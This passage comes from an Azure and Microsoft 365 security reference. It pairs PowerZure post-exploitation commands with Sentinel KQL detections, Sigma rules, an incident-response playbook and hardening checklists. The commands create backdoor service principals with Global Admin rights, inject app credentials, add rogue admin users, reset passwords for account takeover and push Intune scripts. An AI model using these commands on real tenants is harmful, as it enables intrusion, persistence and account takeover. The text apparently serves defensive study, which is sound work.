| Attack | Description | ATT&CK |
|--------|-------------|--------|
| **Mailbox delegation abuse** | Add FullAccess/SendAs to target mailbox | T1098 |
| **Transport rule manipulation** | Create rules to BCC/forward all mail to attacker | T1114 |
| **Inbox rule creation** | Auto-forward or auto-delete specific emails | T1114.003 |
| **OAuth app mail access** | Illicit consent for Mail.Read/Mail.ReadWrite | T1114 |
| **EWS abuse** | Use Exchange Web Services for data exfiltration | T1114 |

**Detection:**
```kql
// Detect mailbox forwarding rules (common in BEC)
OfficeActivity
| where Operation in ("New-InboxRule", "Set-InboxRule", "New-TransportRule")
| where Parameters has "ForwardTo" or Parameters has "RedirectTo"
| project TimeGenerated, UserId, Operation, Parameters
```

### 7.2 SharePoint Online & OneDrive

**Attack Vectors:**
- Excessive sharing (external sharing enabled, anonymous links)
- Site collection admin abuse
- Versioning bypass for ransomware (reduce version count, encrypt files, versions roll off)
- OAuth app access to Files.ReadWrite.All

### 7.3 Microsoft Teams

**Attack Vectors:**
- **GIFShell** — Reverse shell via Teams GIF image processing (CVE-based)
- External access federation abuse
- Guest user privilege escalation
- Teams webhook abuse for data exfiltration
- Conversation data extraction via Graph API

### 7.4 Unified Audit Log

The M365 Unified Audit Log (UAL) is the primary log source for M365 security monitoring:

```powershell
# Search UAL
Search-UnifiedAuditLog -StartDate "2026-03-01" -EndDate "2026-03-14" -RecordType ExchangeAdmin
```
---
## 8. Post-Exploitation & Persistence

### 8.1 Service Principal Backdoor

**ATT&CK:** T1098.001 (Account Manipulation: Additional Cloud Credentials)

```powershell
# PowerZure — create backdoor service principal with Global Admin role
New-AzureBackdoor -Username 'backdoor-sp' -Password 'Str0ngP@ss!'
# Can then elevate via: Set-AzureElevatedPrivileges

# Add secret to existing service principal for persistence
Add-AzureADSPSecret -ApplicationName "LegitApp" -Password "secret123"
# Output: connection string for SP login
```

**Why this is effective:**
- Service principal passwords don't trigger user password policies
- SP auth may not be covered by Conditional Access (user-targeted policies)
- No MFA on SP authentication
- SP credentials survive user password changes

### 8.2 App Registration Credential Injection

Add new credentials (password or certificate) to existing app registrations:

```powershell
# Add credential to app registration
New-AzADAppCredential -ApplicationId "app-guid" -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force)

# Certificate-based persistence — harder to detect
$cert = New-SelfSignedCertificate -Subject "CN=backdoor" -CertStoreLocation "Cert:\CurrentUser\My"
New-AzADAppCredential -ApplicationId "app-guid" -CertValue $cert.GetRawCertData()
```

### 8.3 OAuth App Persistence

Create or modify OAuth app with long-lived refresh tokens for persistent access:
- `offline_access` scope grants refresh tokens
- Refresh tokens can last up to 90 days (or longer with specific configurations)
- Tokens survive password changes if the app consent is not revoked

### 8.4 Federation Backdoor

**ATT&CK:** T1484 (Domain Policy Modification)

Add a trusted federation domain to the tenant:
```powershell
# Add federated domain with attacker-controlled IdP
# Allows authentication bypass — attacker mints SAML tokens for any user
# This is the technique used in SolarWinds/Solorigate (Golden SAML)
```

**DETECTION OPPORTUNITIES:**
```kql
// Detect federation changes
AuditLogs
| where OperationName has "federation" or OperationName has "domain"
| where OperationName in ("Set federation settings on domain", "Set domain authentication")
| project TimeGenerated, InitiatedBy, TargetResources, AdditionalDetails
```

### 8.5 Intune Script Deployment

```powershell
# PowerZure — deploy script via Intune
New-AzureIntuneScript -Script 'C:\temp\payload.ps1'
# Auto-executes on devices when: script is new to device, or new user logs in
# No output returned to operator — stealthy

# Enumerate existing Intune scripts
Get-AzureIntuneScript
```

### 8.6 Automation Account Persistence

Create scheduled runbooks for persistent command execution:
```powershell
# Create runbook in Automation Account
# Schedule for periodic execution
# Use RunAs credentials (Contributor by default)
```

### 8.7 User Account Creation

```powershell
# PowerZure — create Entra ID user
New-AzureADUser -Username 'admin-backup@domain.com' -Password 'Password1234'

# Add to privileged role
Add-AzureADRole -Username 'admin-backup@domain.com' -Role 'Global Administrator'

# Add to group
Add-AzureADGroupMember -User 'admin-backup@domain.com' -Group 'IT Admins'
```

### 8.8 Password Reset for Account Takeover

```powershell
# PowerZure — reset password
Set-AzureADUserPassword -Username john@contoso.com -Password 'newpassw0rd1'
```

**DETECTION OPPORTUNITIES:**
```kql
// Detect new credentials added to apps/service principals
AuditLogs
| where OperationName in ("Add service principal credentials", "Update application – Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources

// Detect new user creation
AuditLogs
| where OperationName == "Add user"
| project TimeGenerated, InitiatedBy, TargetResources[0].userPrincipalName

// Detect role assignment changes
AuditLogs
| where OperationName in ("Add member to role", "Add eligible member to role")
| project TimeGenerated, InitiatedBy, TargetResources, ModifiedProperties
```
---
## 9. Tooling Reference

### 9.1 Offensive Tools

| Tool | Purpose | Language | Key Capability |
|------|---------|----------|---------------|
| **PowerZure** | Azure security assessment | PowerShell | Full attack chain: enum, exploit, persist |
| **ROADtools** | Azure AD enumeration & analysis | Python | Offline AD graph analysis, token manipulation |
| **MicroBurst** | Azure pentesting toolkit | PowerShell | Storage, subdomain, credential extraction |
| **AzureHound** | Attack path mapping | Go/PowerShell | BloodHound integration for Azure |
| **Stormspotter** | Azure AD object graphing | Python | Neo4j-based attack visualization |
| **SkyArk** | Privileged entity discovery | PowerShell | Shadow admin identification |
| **MSOLSpray** | Password spraying | PowerShell/Python | O365/Entra ID password testing |
| **o365spray** | User enum + password spray | Python | O365-specific with rate limiting |
| **MFASweep** | MFA detection | PowerShell | Multi-service MFA probe |
| **adconnectdump** | AD Connect credential extraction | Python | MSOL service account decryption |
| **TokenTactics** | Token manipulation | PowerShell | FOCI exploitation, token refresh |
| **AADInternals** | Entra ID manipulation | PowerShell | Comprehensive Entra toolkit |
| **GraphRunner** | Graph API post-exploitation | PowerShell | Email, Teams, OneDrive access |

### 9.2 PowerZure Function Reference

#### Information Gathering Functions

| Function | Description |
|----------|-------------|
| `Get-AzureADAppOwner` | Returns all owners of all Applications in AAD |
| `Get-AzureADDeviceOwner` | Identifies device owners in Entra ID |
| `Get-AzureADGroupMember -Group 'name'` | Group membership via Graph API |
| `Get-AzureADRoleMember -Role 'name'` | Role membership including service principals |
| `Get-AzureADUser -Username UPN` or `-All` | User intelligence with group/role memberships |
| `Get-AzureCurrentUser` | Current user and owned objects |
| `Get-AzureIntuneScript` | Enumerate Intune scripts |
| `Get-AzureLogicAppConnector` | Logic App connector APIs and connections |
| `Get-AzureManagedIdentity` | Resources using system-assigned managed identity |
| `Get-AzurePIMAssignment` | PIM assignments in Azure resources |
| `Get-AzureRole -Role 'name'` or `-All` | Role membership and scope |
| `Get-AzureRunAsAccount` | Automation Account RunAs service accounts |
| `Get-AzureRolePermission -Permission 'def'` | Roles containing specific permissions |
| `Get-AzureSQLDB -Server 'name'` or `-All` | SQL databases, servers, admin credentials |
| `Get-AzureTarget` | Actionable access levels for current user |
| `Get-AzureTenantId -Domain 'name'` | Tenant ID from domain |
| `Show-AzureKeyVaultContent -Name 'vault'` or `-All` | Vault secrets, certificates, keys inventory |
| `Show-AzureStorageContent -StorageAccountName 'name'` or `-All` | Storage containers, shares, tables |

#### Operational Functions

| Function | Description | Required Role |
|----------|-------------|--------------|
| `Add-AzureADRole` | Assign Entra ID role | Privileged Role Admin / GA |
| `Set-AzureElevatedPrivileges` | GA → User Access Admin (RBAC root) | Global Administrator |
| `Add-AzureADGroupMember` | Add user to group | Group admin / Owner |
| `New-AzureBackdoor` | Create SP with GA role | Global Administrator |
| `Add-AzureADSPSecret` | Add credential to service principal | Application Admin |
| `New-AzureADUser` | Create Entra ID user | User Administrator |
| `Get-AzureRunAsCertificate` | Extract RunAs certificates | Contributor (Automation) |
| `Get-AzureKeyVaultContent` | Extract Key Vault secrets | Key Vault access |
| `Export-AzureKeyVaultContent` | Download keys/certificates | Key Vault access |
| `Invoke-AzureRunCommand` | Execute commands on VMs | Contributor |
| `Invoke-AzureCustomScriptExtension` | Run via CSE (fewer logs) | Contributor |
| `Invoke-AzureCommandRunbook` | Execute via Automation RunAs | Contributor (Automation) |
| `Invoke-AzureRunMSBuild` | MSBuild payload on VMs (SYSTEM) | Contributor |
| `Invoke-AzureRunProgram` | Upload and execute binary on VM | Contributor |
| `Invoke-AzureVMUserDataAgent` | Deploy persistent polling agent | Contributor |
| `Invoke-AzureVMUserDataCommand` | Execute via userdata IMDS | Contributor |
| `Get-AzureStorageContent` | Extract storage blob/file content | Storage access |
| `Get-AzureVMDisk` | Generate 24hr disk download link | Contributor |
| `Get-AzureRunbookContent` | Extract runbook code | Reader (Automation) |
| `New-AzureIntuneScript` | Deploy script via Intune | Intune admin |
| `Set-AzureADUserPassword` | Reset user password | User Admin / Auth Admin |
| `Connect-AzureJWT` | Auth via JWT access token | N/A (token-based) |

### 9.3 Defensive & Audit Tools

| Tool | Purpose |
|------|---------|
| **ScoutSuite** | Multi-cloud security posture assessment |
| **Prowler** | Azure security assessments and CIS benchmarking |
| **Monkey365** | Microsoft 365/Azure/Entra ID security review |
| **CRT (CrowdStrike)** | Query tenant permissions and configurations |
| **EIDSCA** | Entra ID Security Config Analyzer |
| **Sparrow.ps1** | Detect compromised accounts/applications |
| **Hawk** | O365 intrusion investigation |
| **Microsoft Entra Toolkit** | Application credential and permission auditing |
| **SCuBA** | CISA M365 security baseline compliance |
| **CloudFox** | Situational awareness automation |
---
## 10. Detection Engineering with Sentinel KQL

### 10.1 Sentinel Architecture

Microsoft Sentinel ingests logs from:
- **Entra ID** — Sign-in logs, Audit logs, Provisioning logs, Risk detections
- **Azure Activity** — Control plane operations
- **Azure Diagnostics** — Data plane operations (Key Vault, Storage, etc.)
- **Microsoft 365** — UAL, Defender for Office 365
- **Azure DevOps** — Audit logs
- **Custom connectors** — Syslog, CEF, API-based

**Repository:** Azure Sentinel GitHub contains 53,000+ commits with detection rules, hunting queries, workbooks, playbooks, and parsers organized by:
- `Detections/` — Rule-based threat detection templates
- `Hunting Queries/` — Proactive threat hunting KQL
- `Workbooks/` — Visual dashboards
- `Playbooks/` — Automated response (Logic Apps)
- `Data Connectors/` — Integration configurations
- `ASIM/` — Advanced Security Information Model normalization

### 10.2 Critical Detection Rules

#### 10.2.1 Identity-Based Detections

```kql
// === PASSWORD SPRAY DETECTION ===
SigninLogs
| where TimeGenerated > ago(1h)
| where ResultType == "50126"  // Invalid username or password
| summarize
    FailedAttempts = count(),
    DistinctUsers = dcount(UserPrincipalName),
    TargetedUsers = make_set(UserPrincipalName, 50)
By IPAddress, bin(TimeGenerated, 10m)
| where DistinctUsers > 10
| where FailedAttempts > 20

// === IMPOSSIBLE TRAVEL ===
SigninLogs
| where ResultType == 0
| extend City = tostring(LocationDetails.city), State = tostring(LocationDetails.state)
| summarize
    Locations = make_set(pack("city", City, "ip", IPAddress)),
    LocationCount = dcount(City),
    MinTime = min(TimeGenerated),
    MaxTime = max(TimeGenerated)
By UserPrincipalName
| where LocationCount > 1
| where datetime_diff('minute', MaxTime, MinTime) < 60

// === MFA FATIGUE / PUSH BOMBING ===
SigninLogs
| where ResultType == "50074"  // MFA required
| summarize
    MFAPrompts = count()
By UserPrincipalName, bin(TimeGenerated, 5m)
| where MFAPrompts > 5

// === TOKEN REPLAY DETECTION ===
SigninLogs
| where ResultType == 0
| where TokenIssuerType == "AzureAD"
| summarize
    DistinctIPs = dcount(IPAddress),
    IPs = make_set(IPAddress)
By UserPrincipalName, CorrelationId, bin(TimeGenerated, 1h)
| where DistinctIPs > 1
```

#### 10.2.2 Application-Based Detections

```kql
// === NEW APP/SP CREDENTIAL ADDED ===
AuditLogs
| where OperationName in (
    "Add service principal credentials",
    "Update application – Certificates and secrets management"
)
| extend InitiatedByUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetApp = tostring(TargetResources[0].displayName)
| project TimeGenerated, InitiatedByUPN, OperationName, TargetApp

// === HIGH-PRIVILEGE APP PERMISSION GRANTED ===
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend PermissionGranted = tostring(TargetResources[0].modifiedProperties)
| where PermissionGranted has_any ("ReadWrite.All", "Mail.Read", "Files.ReadWrite", "Directory.ReadWrite")
| project TimeGenerated, InitiatedBy, TargetResources, PermissionGranted

// === ILLICIT CONSENT GRANT ===
AuditLogs
| where OperationName == "Consent to application"
| extend IsAdminConsent = tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue)
| extend AppName = tostring(TargetResources[0].displayName)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| project TimeGenerated, ConsentedBy, AppName, IsAdminConsent

// === OAUTH APP WITH SUSPICIOUS PERMISSIONS ===
AuditLogs
| where OperationName == "Add delegated permission grant"
| extend Scope = tostring(TargetResources[0].modifiedProperties)
| where Scope has_any ("Mail.", "Files.", "Sites.", "User.ReadWrite", "Directory.")
| project TimeGenerated, InitiatedBy, Scope

// === DEVICE CODE FLOW USAGE ===
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, LocationDetails, RiskLevel
```

#### 10.2.3 Resource-Based Detections

```kql
// === VM RUN COMMAND EXECUTION ===
AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
| project TimeGenerated, Caller, ResourceGroup, SubscriptionId,
    Resource = tostring(parse_json(Properties).resource)

// === KEY VAULT SECRET ACCESS ===
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "SecretList")
| summarize
    AccessCount = count(),
    Secrets = make_set(id_s)
By CallerIPAddress, identity_claim_upn_s, bin(TimeGenerated, 1h)
| where AccessCount > 10

// === STORAGE ACCOUNT KEY LISTING ===
AzureActivity
| where OperationNameValue == "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION"
| project TimeGenerated, Caller, ResourceGroup, Resource = tostring(parse_json(Properties).resource)

// === ROLE ASSIGNMENT CHANGES ===
AzureActivity
| where OperationNameValue == "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
| extend RoleDefinition = tostring(parse_json(Properties).requestbody)
| project TimeGenerated, Caller, RoleDefinition, ResourceGroup

// === ELEVATION OF PRIVILEGES ===
AuditLogs
| where OperationName == "Elevate access"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, Result

// === AUTOMATION RUNBOOK CREATION ===
AzureActivity
| where OperationNameValue has "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE"
| project TimeGenerated, Caller, Properties
```

#### 10.2.4 Federation & Domain Detections

```kql
// === FEDERATION CONFIGURATION CHANGE (Golden SAML indicator) ===
AuditLogs
| where OperationName in (
    "Set federation settings on domain",
    "Set domain authentication",
    "Add unverified domain",
    "Add verified domain"
)
| project TimeGenerated, InitiatedBy, TargetResources, AdditionalDetails

// === ENTRA CONNECT SYNC ANOMALIES ===
AuditLogs
| where InitiatedBy.app.displayName == "Azure AD Connect" or OperationName has "sync"
| summarize count() by OperationName, bin(TimeGenerated, 1h)
| where count_ > 100  // Unusual volume of sync operations
```

#### 10.2.5 Mail & M365 Detections

```kql
// === EMAIL FORWARDING RULE CREATION (BEC indicator) ===
OfficeActivity
| where Operation in ("New-InboxRule", "Set-InboxRule", "New-TransportRule", "Set-TransportRule")
| where Parameters has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
| project TimeGenerated, UserId, Operation, Parameters, ClientIP

// === MAILBOX DELEGATION CHANGES ===
OfficeActivity
| where Operation in ("Add-MailboxPermission", "Add-RecipientPermission")
| project TimeGenerated, UserId, Operation, Parameters

// === MASS FILE DOWNLOAD FROM SHAREPOINT/ONEDRIVE ===
OfficeActivity
| where Operation == "FileDownloaded"
| summarize DownloadCount = count(), Files = make_set(OfficeObjectId, 10) by UserId, bin(TimeGenerated, 1h)
| where DownloadCount > 50
```

### 10.3 Sigma Rule Examples

```yaml
# === Detect new service principal credentials ===
title: New Credential Added to Azure Service Principal
id: 3e7f4a12-8b9c-4d5e-a6f7-1234567890ab
status: experimental
description: Detects when new credentials are added to a service principal, which could indicate persistence
logsource:
Category: audit
Product: azure
detection:
Selection:
OperationName:
      - "Add service principal credentials"
      - "Update application – Certificates and secrets management"
Condition: selection
falsepositives:
  - Legitimate credential rotation by application administrators
  - Automated CI/CD pipeline credential updates
level: high
tags:
  - attack.t1098.001
  - attack.persistence
---
# === Detect VM RunCommand execution ===
title: Azure VM RunCommand Execution
id: 5c8d2e3f-7a1b-4c9d-8e6f-abcdef123456
status: experimental
description: Detects RunCommand execution on Azure VMs which can indicate lateral movement or code execution
logsource:
Category: azure_activity
Product: azure
detection:
Selection:
OperationName: "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
Condition: selection
falsepositives:
  - Legitimate VM management operations
  - Azure Automation applying desired state configuration
level: medium
tags:
  - attack.t1059
  - attack.execution
```

### 10.4 Sentinel Workbooks

Key workbooks for Azure security monitoring:
- **Conditional Access Insights** — Policy evaluation results and gaps
- **Sign-in Failure Analysis** — Authentication failure patterns
- **Azure AD Audit Activity** — Tenant configuration changes
- **Insecure Protocols** — Legacy authentication usage
- **Identity & Access** — User and app activity overview
---
## 11. Incident Response for Azure

### 11.1 Compromised Application Investigation Playbook

**[CONFIRMED]** Microsoft's official IR playbook structure:

#### Phase 1: Triage (0-15 min)

1. **Determine application type** — Multi-tenant (external developer) vs single-tenant (internal)
2. **Check Identity Protection** — Risky workload identity detections
3. **Review sign-in behavior** — Location, failure rate, timestamps, frequency
4. **Check target resources** — What resources was the app accessing?

```kql
// Service principal sign-in anomalies
AADServicePrincipalSignInLogs
| where ServicePrincipalId == "<suspect_sp_id>"
| summarize count() by IPAddress, LocationDetails, ResourceDisplayName, bin(TimeGenerated, 1h)
```

#### Phase 2: Investigation

5. **Check credential changes:**
```http
GET https://graph.microsoft.com/v1.0/applications/{id}
# Parse keyCredentials and passwordCredentials
```

6. **Check permission changes:**
```kql
AuditLogs
| where OperationName in ("Add app role assignment to service principal", "Add delegated permission grant")
| where TargetResources[0].id == "<app_id>"
```

7. **Check configuration changes** — URI changes, owner changes, logout URL modifications
8. **Check consent grants:**
```kql
AuditLogs
| where ActivityDisplayName == "Consent to application"
| where TargetResources[0].id == "<sp_id>"
```

9. **Review UAL for phishing indicators** — Check application owners and consent admins for phishing in last 7-30 days

#### Phase 3: Containment

```powershell
# Disable compromised application sign-in
$ServicePrincipalUpdate = @{ "accountEnabled" = "false" }
Update-MgServicePrincipal -ServicePrincipalId $spId -BodyParameter $ServicePrincipalUpdate
```

#### Phase 4: Recovery

1. **Rotate ALL credentials** for the compromised application:
```http
POST ~/applications/{id}/addKey     # Add new certificate credential
POST ~/applications/{id}/removePassword  # Remove old password credentials
POST ~/applications/{id}/removeKey      # Remove old key credentials
```

2. **Rotate Key Vault secrets** the SP had access to (priority: directly accessed > same vault > same subscription)
3. **Review and remove malicious consent grants**
4. **Implement monitoring** for re-enablement or recovery of deleted apps

### 11.2 Token Theft Response

1. **Revoke all refresh tokens** for affected users
2. **Revoke session cookies** via Conditional Access (require re-authentication)
3. **Check for persistence** — new app credentials, federation changes, service principals
4. **Review sign-in logs** for token replay from unusual IPs

### 11.3 Evidence Preservation

- Export Entra ID sign-in and audit logs BEFORE any remediation
- Capture Azure Activity logs for the relevant subscription(s)
- Export M365 Unified Audit Log
- Snapshot affected VM disks for forensics
- Export Key Vault access logs
- Document all service principal permissions and credentials

### 11.4 Azure VM Forensics

**[EXTERNAL]** Microsoft documentation and community research covers:
- Disk snapshot and offline analysis
- Memory acquisition from running VMs
- Network capture via NSG flow logs and packet capture
- Timeline construction from Azure Activity + OS logs
---
## 12. Hardening & Architecture

### 12.1 Entra ID Hardening Checklist

| # | Control | Priority | Reference |
|---|---------|----------|-----------|
| 1 | Block legacy authentication via Conditional Access | Critical | CIS Azure 1.1.1 |
| 2 | Enforce MFA for all users (phishing-resistant preferred) | Critical | NIST 800-63B AAL2+ |
| 3 | Implement Conditional Access baseline policies | Critical | Microsoft Security Baselines |
| 4 | Restrict user consent to apps (admin consent workflow) | High | CIS Azure 1.11 |
| 5 | Enable Identity Protection risk policies | High | Entra ID P2 |
| 6 | Limit Global Administrators (< 5, ideally 2) | High | CIS Azure 1.1.3 |
| 7 | Use PIM for privileged role activation | High | Entra ID P2 |
| 8 | Protect emergency access accounts (break-glass) | High | Microsoft guidance |
| 9 | Disable device code flow unless required | Medium | CA Authentication Flows |
| 10 | Monitor and restrict app registrations | Medium | App management policies |
| 11 | Enable EIDSCA for configuration monitoring | Medium | Community tool |
| 12 | Implement admin consent workflow | Medium | Entra admin center |
| 13 | Review and restrict dynamic group rules | Medium | Group management |
| 14 | Deploy Restricted Management AUs for sensitive accounts | Medium | Entra ID |
| 15 | Enable SSPR with strong methods only | Medium | Entra ID |

### 12.2 Azure Resource Hardening

| # | Control | Scope |
|---|---------|-------|
| 1 | Enable Azure Defender for all resource types | Subscription |
| 2 | Implement NSGs on all subnets (deny-all default) | Networking |
| 3 | Disable public blob access on storage accounts | Storage |
| 4 | Enable Key Vault soft-delete and purge protection | Key Vault |
| 5 | Use Private Endpoints for PaaS services | Networking |
| 6 | Enable diagnostic logging for all resources | Monitoring |
| 7 | Use managed identities instead of service principal secrets | Identity |
| 8 | Implement JIT VM access | Compute |
| 9 | Enable Azure Policy for compliance enforcement | Governance |
| 10 | Restrict Automation Account RunAs accounts | Automation |
| 11 | Enable encryption at rest and in transit | All resources |
| 12 | Implement resource locks on critical resources | Governance |

### 12.3 Zero Trust Architecture for Azure

```
                    ┌─────────────────────────────────────┐
                    │        IDENTITY PLANE                │
                    │  Entra ID + Conditional Access       │
                    │  MFA + Device Compliance + Risk      │
                    └──────────────┬──────────────────────┘
                                   │
               ┌───────────────────┼───────────────────────┐
               │                   │                       │
    ┌──────────▼──────┐  ┌────────▼────────┐  ┌──────────▼──────┐
    │  MANAGEMENT     │  │   DATA PLANE    │  │   WORKLOAD      │
    │  PLANE          │  │                 │  │   PLANE         │
    │                 │  │                 │  │                 │
    │ Azure RBAC      │  │ Storage ACLs    │  │ App Service     │
    │ PIM             │  │ Key Vault RBAC  │  │ AKS RBAC        │
    │ Azure Policy    │  │ SQL Firewall    │  │ Function Auth   │
    │ Resource Locks  │  │ Cosmos DB RBAC  │  │ VM Extensions   │
    └────────┬────────┘  └────────┬────────┘  └────────┬────────┘
             │                    │                     │
    ┌────────▼────────────────────▼─────────────────────▼────────┐
    │                    NETWORK PLANE                            │
    │  NSGs + Azure Firewall + Private Link + Service Endpoints  │
    │  VNet Isolation + DDoS Protection + WAF                    │
    └────────────────────────────────────────────────────────────┘
```

**Zero Trust Principles Applied:**
1. **Verify explicitly** — Always authenticate and authorize based on all available data points (identity, location, device health, data classification)
2. **Use least privilege access** — JIT/JEA access, risk-based adaptive policies, data protection
3. **Assume breach** — Minimize blast radius, segment access, verify E2E encryption, use analytics for detection

### 12.4 Threat Model — Azure Application

```
 ┌─────────┐     HTTPS/TLS      ┌──────────────┐     Managed ID      ┌──────────────┐
 │  User   │ ──────────────────► │  App Service  │ ──────────────────► │  Key Vault    │
 │ Browser │     [TB-1]          │  (Workload)   │     [TB-2]          │  (Secrets)    │
 └─────────┘                     └──────┬───────┘                     └──────────────┘
                                        │
                                        │ Managed ID [TB-2]
                                        ▼
                                 ┌──────────────┐
                                 │  SQL Database │
                                 │  (Data Store) │
                                 └──────────────┘

 TB-1: Internet → App Service trust boundary
 TB-2: App Service → Backend services trust boundary
```

**STRIDE Analysis:**

| Component | S | T | R | I | D | E |
|-----------|---|---|---|---|---|---|
| User → App Service | AiTM phishing | TLS downgrade | Insufficient logging | Session hijacking | App-layer DDoS | OAuth token theft |
| App Service → Key Vault | SP impersonation | Secret modification | Missing audit trail | Secret exposure | Service unavailability | Managed ID escalation |
| App Service → SQL DB | Connection string theft | SQL injection | Missing query logging | Data exfiltration | Resource exhaustion | Stored procedure abuse |
---
## Appendix A: Attack Chain Quick Reference

### A.1 Full Azure Attack Path

```
1. RECONNAISSANCE
   └─► Tenant discovery (getuserrealm.srf, openid-configuration)
   └─► Subdomain enumeration (MicroBurst)
   └─► User enumeration (o365creeper, o365spray)

2. INITIAL ACCESS
   └─► Password spray (MSOLSpray)
   └─► Device code phishing
   └─► AiTM phishing (EvilGinx)
   └─► Illicit consent grant

3. EXECUTION
   └─► VM RunCommand
   └─► Custom Script Extension
   └─► Automation Runbooks
   └─► Function App code injection

4. PERSISTENCE
   └─► Service principal backdoor (New-AzureBackdoor)
   └─► App credential injection (Add-AzureADSPSecret)
   └─► Federation backdoor (Golden SAML)
   └─► Intune script deployment
   └─► User account creation

5. PRIVILEGE ESCALATION
   └─► GA → User Access Administrator (Set-AzureElevatedPrivileges)
   └─► Dynamic group membership manipulation
   └─► Custom role abuse (roleAssignments/write)
   └─► Managed identity token theft → resource access

6. CREDENTIAL ACCESS
   └─► Key Vault secret extraction
   └─► Automation RunAs certificate extraction
   └─► Entra Connect MSOL credential dump
   └─► Storage account key listing
   └─► PRT extraction (Mimikatz)

7. LATERAL MOVEMENT
   └─► Cross-subscription via shared identities
   └─► Entra Connect: Cloud → On-Prem AD (DCSync)
   └─► FOCI token exchange
   └─► VM → VM via managed identity + RBAC

8. EXFILTRATION
   └─► Storage blob download
   └─► VM disk snapshot download
   └─► Mail/file access via Graph API
   └─► Runbook content extraction
```

### A.2 MITRE ATT&CK Mapping (Azure-Specific)

| Technique ID | Name | Azure Context |
|-------------|------|---------------|
| T1078.004 | Valid Accounts: Cloud Accounts | Compromised Entra ID credentials |
| T1098.001 | Additional Cloud Credentials | App/SP credential injection |
| T1098.003 | Additional Cloud Roles | Role assignment abuse |
| T1110.003 | Password Spraying | MSOLSpray against Entra ID |
| T1136.003 | Cloud Account | New user/SP creation |
| T1190 | Exploit Public-Facing Application | App Service/Function vulnerabilities |
| T1199 | Trusted Relationship | Service connection abuse in DevOps |
| T1484.002 | Trust Modification: Domain Trust | Federation backdoor |
| T1528 | Steal Application Access Token | IMDS token theft, PRT theft |
| T1530 | Data from Cloud Storage | Storage blob/file access |
| T1537 | Transfer Data to Cloud Account | Cross-tenant data movement |
| T1539 | Steal Web Session Cookie | AiTM cookie theft |
| T1550.001 | Application Access Token | OAuth token abuse |
| T1557 | Adversary-in-the-Middle | Reverse proxy phishing |
| T1566 | Phishing | Device code phishing, consent phishing |
| T1580 | Cloud Infrastructure Discovery | Resource enumeration |
| T1619 | Cloud Storage Object Discovery | Blob enumeration |
---
## Appendix B: Lab Environment Setup

### B.1 Recommended Lab Platforms

| Platform | Description |
|----------|-------------|
| **PurpleCloud** | Hybrid identity cyber range (Terraform-based) |
| **Azure Red Team Attack & Detect Workshop** | Mandiant-provided exercises |
| **DVWA-Azure** | Deliberately vulnerable Azure deployment |
| **AzureSecurityLabs** | IaaS-focused security labs |
| **BlueCloud** | Windows VM security testing platform |

### B.2 Required Tools Setup

```bash
# Python tools
pip install roadrecon roadtx

# PowerShell modules
Install-Module -Name Az
Install-Module -Name AzureAD
Install-Module -Name MSOnline
Import-Module MicroBurst.psm1
Import-Module PowerZure.psm1

# CLI tools
az login
az extension add --name azure-devops
```
---
## Appendix C: Key References

### C.1 Primary Sources

- Microsoft Entra Documentation: https://learn.microsoft.com/en-us/entra/
- Azure RBAC Documentation: https://learn.microsoft.com/en-us/azure/role-based-access-control/
- Microsoft Sentinel GitHub: https://github.com/Azure/Azure-Sentinel
- Entra ID Attack & Defense Playbook: https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
- Awesome Azure Pentest: https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
- Azure Red Team: https://github.com/rootsecdev/Azure-Red-Team

### C.2 Tool Repositories

- PowerZure: https://github.com/hausec/PowerZure (docs: https://powerzure.readthedocs.io)
- ROADtools: https://github.com/dirkjanm/ROADtools
- MicroBurst: https://github.com/NetSPI/MicroBurst
- MSOLSpray: https://github.com/dafthack/MSOLSpray
- AADInternals: https://github.com/Gerenios/AADInternals
- TokenTactics: https://github.com/rvrsh3ll/TokenTactics
- GraphRunner: https://github.com/dafthack/GraphRunner

### C.3 Research & Blogs

- SpecterOps Blog: https://specterops.io/blog
- NetSPI Azure Articles: https://www.netspi.com/blog/technical/cloud-penetration-testing/
- Dirk-jan Mollema: https://dirkjanm.io/
- Andy Robbins (BloodHound): https://posts.specterops.io/
- Microsoft IR Playbooks: https://learn.microsoft.com/en-us/security/operations/incident-response-playbooks
---
*Document generated by NERF — Claude Integrated Privacy & Hardening Expert Resource*
*Training classification: Authorized security operations reference material*
